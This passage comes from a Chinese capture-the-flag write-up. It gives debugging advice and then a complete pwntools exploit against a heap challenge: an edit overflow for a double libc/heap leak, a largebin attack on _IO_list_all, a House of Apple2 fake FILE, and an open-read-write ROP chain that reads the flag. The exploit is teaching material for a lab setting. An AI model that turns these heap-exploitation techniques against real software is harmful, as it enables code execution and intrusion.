edit传大size - 用
show看是否真的越界读到后面的区域
第三步:先拿 libc,再拿 heap
- 不要跳步
- 双泄露没稳之前别急着做
_IO_list_all - 先把“每次都能 leak 到正确区域”做稳定
第四步:确认 largebin attack 的结果
- 不要只看 payload 自己觉得“写得像对了”
- 直接
p _IO_list_all - 直接
tele _IO_list_all - 看到它真的指向
heap + 0x6180才算过关
第五步:只修 Apple2 结构,不急着修 ORW
- 先看
_wide_data - 再看
_wide_vtable - 再看
_flags - 再看
_IO_save_base
这一步的原则是:
能在
FILE层解决的,不要一头扎进svcudp_reply
第六步:只修 svcudp_reply 三层指针
rbp = [fp + 0x48]rax = [rbp + 0x18]call [rax + 0x28]
你把这三层都修通,ORW 基本就只是收尾。
第七步:最后再看 ROP 是否够稳
"./flag"是否还在add_rsp18是否正确leave_ret是否正确close(0)之后open是否把 fd 拿回0read/write的 buffer 是否和你想的一样
最后一句提醒
这题最浪费时间的行为,不是“调错了”,而是“明明当前问题还停留在上一层,却已经开始改下一层”。
所以如果下次再做,最值得带走的不是某一个偏移,而是这个习惯:
先确认当前这一层解释对不对,再去碰下一层。
最终exp如下(可以当模版---空间不够分开写orw)
这里的chunk0包含orw那一段的首地址
file_addr是写上io_list_all的起始的堆块的首地址(pre_size)那一块
至于其他核心字段的解释我都写在注释里了
在pre_size上写上标志位即可
#!/usr/bin/python3
from pwn import *
from recovered_pb2 import HeapPayload
import ctypes
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 1
file_name = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"#/lib/x86_64-linux-gnu/libc.so.6
host = "challenge.ilovectf.cn"
port = 30475
contents = 1
def build_fake_xdr_ops(x_setpostn_target):
ops = bytearray(0x48)
# svcudp_reply first calls su_xdrs.x_ops->x_setpostn. Point that slot at
# leave; ret so the gadget pivots into the ORW chain already laid out in
# chunk0.
ops[0x28:0x30] = p64(x_setpostn_target)
return bytes(ops)
def create_io():
global io , duan , elf , libc
elf = ELF(file_name)
# libc = None
libc = ELF(libc_name)
if contents == 1:
# This environment does not always have spare PTY devices, so use pipes.
io = process(file_name, stdin=PIPE, stdout=PIPE, stderr=PIPE)
#io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
#io = gdb.debug('./pwn', 'set follow-fork-mode child\nb *$rebase(0x178d)\nc')#set follow-fork-mode parent
def duan(*address):
pay = ''
if pie:
for i in address:
pay += 'b *$rebase(' + str(i) + ')' + '\n'
else:
for i in address:
pay += 'b *' + str(i) + '\n'
gdb.attach(io,pay)
sp()
else:
io = remote(host,port)
elf = ELF(file_name)
libc = None# ELF('./libc.so.6')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rt = lambda x:io.recvuntil(x)
sla = lambda x,y:io.sendafter(x,y)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.2)
lg = lambda :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )
def pack_msg(option, ids=None, sizes=None, content=None):
msg = HeapPayload()
msg.option = option
if ids is not None:
if isinstance(ids, int):
msg.heap_chunks_id.append(ids)
else:
msg.heap_chunks_id.extend(ids)
if sizes is not None:
if isinstance(sizes, int):
msg.chunk_sizes.append(sizes)
else:
msg.chunk_sizes.extend(sizes)
if content is not None:
msg.heap_content = content
return msg.SerializeToString()
def send_msg(pay):
s(p32(len(pay)))
s(pay)
def add(size, content=None):
pay = pack_msg(1, sizes=size, content=content)
send_msg(pay)
def free(idx):
pay = pack_msg(2, ids=idx)
send_msg(pay)
def edit(idx, size, content=None):
if content is not None and size is None:
size = len(content)
pay = pack_msg(3, ids=idx, sizes=size, content=content)
send_msg(pay)
def show(idx):
pay = pack_msg(4, ids=idx)
send_msg(pay)
def quit_menu():
pay = pack_msg(5)
send_msg(pay)
create_io()
add(0x420, b'H')
add(0x420, b'H')
add(0x420, b'A') #2
add(0x420, b'B') #3
add(0x410, b'C') #4
add(0x410, b'D') #5
add(0x410, b'E') #6
free(3)
pd = b'a'*0x420 + p64(0x430) + p64(0x421)
rt("Your prompt >> ")
edit(2, len(pd), pd)
rt("Your prompt >> ")
pd = b'a'*0x420
pd += b'@'*0x10
edit(2, len(pd), pd)
show(2)
rt(b'@'*0x10)
lib = ru(6) - 0x21b0d0
pr(lib)
pd = b'a'*0x430
pd += b'@'*0x10
edit(2, len(pd), pd)
show(2)
rt(b'@'*0x10)
heap = ru(6) - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10
pr(heap)
pd = b'a'*0x420 + p64(0x430) + p64(0x431) + p64(lib + 0x21b0d0)*2 + p64(heap - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10)+p64(lib + 0x21b680-0x20) + b'a'*0x20
edit(2, len(pd), pd)
free(5)
add(0x4f0, b'F')
pop_rax = lib+next(libc.search(asm("pop rax;ret")))
pop_rdi = lib+next(libc.search(asm("pop rdi;ret")))
pop_rsi = lib+next(libc.search(asm("pop rsi;ret")))
pop_rdx12 = lib+next(libc.search(asm("pop rdx;pop r12;ret")))
syscall = lib + next(libc.search(asm("syscall;ret")))
leave_ret = lib+next(libc.search(asm("leave;ret")))
add_rsp18 = lib+next(libc.search(asm("add rsp,0x18;ret")))
close_addr = lib + libc.sym['close']
read_addr = lib + libc.sym['read']
write_addr = lib + libc.sym['write']
file_addr=heap + 0x6180
# _IO_list_all 最终挂到 chunk header,_wide_data 需要右移 0x8 才能让
# _IO_write_base/_ptr 对齐到当前这份部分覆盖出来的 0/1。
IO_wide_data_addr=file_addr + 0x8
#wide_data + 0x18 -> 你希望的 _IO_write_base
#wide_data + 0x20 -> 你希望的 _IO_write_ptr
#wide_data + 0x28 -> 你希望的 _IO_write_end
# wide_data + 0xe0 -> 你希望的 _wide_vtable 指针
# 所以这里的 file_addr + 0x8 不是“找个可写地址”,而是“让这些字段刚好对齐”。
# _wide_data + 0xe0 现在落在 file_addr + 0xe8,所以 fake wide vtable
# 需要前移到 file_addr + 0x78,这样 +0x68 仍然正好落到我们写的 magic_gadget。
wide_vtable_addr=file_addr + 0x78
#因为最后真正 call 的是:(_wide_vtable + 0x68)
#magic_gadget 放在file_addr + 0xe0
#wide_vtable_addr + 0x68 = file_addr + 0xe0 ===》 wide_vtable_addr = file_addr + 0x78
_IO_stdfile_2_lock = lib + 0x21ca60
magic_gadget = lib + 0x16a0da
orw_addr = heap + 0x22f0 #orw那一块的首地址
chunk0 = heap + 0x22f0
fake_xdr_ops_addr = chunk0 + 0x230
orw = b'./flag\x00\x00'+p64(add_rsp18)+p64(0)+p64(fake_xdr_ops_addr)
#close
orw += p64(leave_ret)
orw += p64(pop_rdi)
orw += p64(0)
orw += p64(close_addr)
#open
orw += p64(pop_rdi)
orw += p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
#read
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)
edit(0,len(orw),orw)
support = bytearray(orw)
support = support.ljust(fake_xdr_ops_addr - chunk0, b"\x00")
support += build_fake_xdr_ops(leave_ret)
edit(0, len(support), bytes(support))
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base;
fake_io += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
# svcudp_reply+26 loads rbp from fp+0x48, which is _IO_save_base on this
# partial FILE layout. Keep it pointed at our chunk0 control area instead of 0.
fake_io += p64(chunk0) # _IO_save_base
fake_io += p64(0) * 3 # from _IO_backup_base to _markers
fake_io += p64(0) # the FILE chain ptr
fake_io += p32(2) # _fileno for stderr is 2
fake_io += p32(0) # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_io += p16(0) # _cur_column
fake_io += b"\x00" # _vtable_offset
fake_io += b"\n" # _shortbuf[1]
fake_io += p32(0) # padding
fake_io += p64(_IO_stdfile_2_lock) # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_io += p64(0) # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr) # _IO_wide_data_1
fake_io += p64(0) * 3 # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF) # _mode, usually -1
fake_io += b"\x00" * 19 # _unused2
fake_io = fake_io.ljust(0xc8, b'\x00') # adjust to vtable
fake_io += p64(lib+libc.sym['_IO_wfile_jumps']) # fake vtable #0xd8
# _wide_data = file_addr + 0x8 后,wide_data + 0xe0 会落到 file_addr + 0xe8。
# 所以 file_addr + 0xe0 这格要放 __doallocate,file_addr + 0xe8 这格再放 _wide_vtable 指针。
fake_io += p64(magic_gadget)
fake_io += p64(wide_vtable_addr)
# _IO_list_all 挂到 chunk header 后,这个 qword 会被当成 _flags。
# 用干净的 _IO_MAGIC,避免残留 chunk 数据把 _IO_CURRENTLY_PUTTING (0x800) 带进去。
pd = b'a'*0x410 + p64(0xfbad0000) + p64(0x421)
edit(4, len(pd+fake_io), pd +fake_io)
print(hex(len(fake_io+pd)))
#gdb.attach(io,"b *$rebase(0x1C84)")
if args.GDB:
gdb.attach(io)
quit_menu()
it()基于edit堆溢出,通过双泄露、largebin attack与House of Apple2实现IO控制流劫持,核心在于修复多层字段错位。
由 AI 根据全文自动生成,仅供参考,以原文为准